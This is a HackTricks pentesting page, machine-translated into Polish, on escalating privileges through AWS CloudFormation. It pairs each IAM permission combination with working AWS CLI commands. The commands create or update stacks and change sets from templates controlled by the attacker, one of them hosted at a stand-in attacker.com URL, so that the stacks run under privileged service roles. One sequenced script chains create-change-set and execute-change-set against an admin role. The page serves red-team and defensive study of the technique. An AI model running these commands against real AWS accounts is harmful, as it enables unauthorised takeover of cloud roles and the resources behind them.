AWS - Cloudformation Privesc

Wesprzyj HackTricks

cloudformation

Aby uzyskać więcej informacji na temat cloudformation, sprawdź:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Atakujący posiadający te uprawnienia może eskalować uprawnienia, tworząc stos CloudFormation z niestandardowym szablonem, hostowanym na swoim serwerze, aby wykonać akcje pod uprawnieniami określonej roli:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Na następnej stronie znajdziesz przykład eksploatacji z dodatkowym uprawnieniem cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Potencjalny wpływ: Przywileje eskalacji do roli usługi cloudformation określonej.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

W tym przypadku możesz nadużyć istniejący stos cloudformation do jego aktualizacji i eskalacji uprawnień, podobnie jak w poprzednim scenariuszu:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy | cloudformation:UpdateStack

Uprawnienie cloudformation:SetStackPolicy może być użyte do nadania sobie uprawnienia UpdateStack w stosie i przeprowadzenia ataku.

Potencjalny wpływ: Eskalacja uprawnień do roli usługi cloudformation określonej.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Jeśli masz to uprawnienie, ale nie masz iam:PassRole, nadal możesz aktualizować używane stosy i nadużywać Role IAM, do których już są dołączone. Sprawdź poprzednią sekcję dla przykładu eksploatacji (po prostu nie wskazuj żadnej roli w aktualizacji).

Uprawnienie cloudformation:SetStackPolicy może być użyte do nadania sobie uprawnienia UpdateStack w stosie i przeprowadzenia ataku.

Potencjalny wpływ: Eskalacja uprawnień do roli usługi cloudformation już dołączonej.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Atakujący posiadający uprawnienia do przekazania roli oraz utworzenia i wykonania zestawu zmian może tworzyć/aktualizować nowy stos cloudformation i nadużywać ról usługi cloudformation tak jak w przypadku CreateStack lub UpdateStack.

Następujący exploit to wariacja jednego z CreateStack wykorzystująca uprawnienia ChangeSet do utworzenia stosu.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy uprawnienie można wykorzystać do nadania sobie uprawnień ChangeSet w stosie i przeprowadzenia ataku.

Potencjalny wpływ: Eskalacja uprawnień do ról usługi cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

To jest podobne do poprzedniej metody bez przekazywania ról IAM, więc można po prostu wykorzystać już dołączone, po prostu zmodyfikuj parametr:

--change-set-type UPDATE

Potencjalny wpływ: Przywileje do usługi cloudformation już dołączone.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Atakujący mógłby wykorzystać te uprawnienia do tworzenia/aktualizowania StackSets w celu nadużycia dowolnych ról cloudformation.

Potencjalny wpływ: Przywileje do ról usługi cloudformation.

cloudformation:UpdateStackSet

Atakujący mógłby wykorzystać to uprawnienie bez uprawnienia passRole do aktualizacji StackSets w celu nadużycia dołączonych ról cloudformation.

Potencjalny wpływ: Przywileje do dołączonych ról cloudformation.

Referencje

Last updated